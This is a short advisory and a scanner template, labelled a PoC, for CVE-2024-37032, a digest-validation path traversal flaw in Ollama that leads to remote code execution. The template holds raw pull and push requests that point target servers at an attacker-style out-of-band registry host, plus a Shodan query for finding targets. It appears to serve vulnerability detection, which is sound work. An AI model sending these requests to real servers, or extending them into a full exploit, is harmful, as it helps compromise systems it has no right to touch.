Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
PoC
id: CVE-2024-37032
info:
name: Ollama - Remote Code Execution
author: kaks3c
severity: critical
description: |
Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
impact: |
Attackers can exploit improper digest validation to achieve remote code execution on Ollama servers.
remediation: |
Update Ollama to version 0.1.34 or later.
reference:
- https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
- https://nvd.nist.gov/vuln/detail/CVE-2024-37032
- https://github.com/Bi0x/CVE-2024-37032
classification:
epss-score: 0.89633
epss-percentile: 0.9978
cpe: cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ollama
product: ollama
shodan-query: ollama
tags: cve,cve2024,ollama,rce,ai,vkev,vuln
http:
- raw:
- |
POST /api/pull HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
- |
POST /api/push HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, 'http')
- contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')
condition: and
# digest: 4a0a00473045022100d2307689608779ef7333a0079fdb14c1c8675bb91a4d7ff3d41fd1eb8b72cd5402204e79398cbd2ec91a4ef4bd624893d7ac436cd1e0d3f18a28b4b523eb45b2a692:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.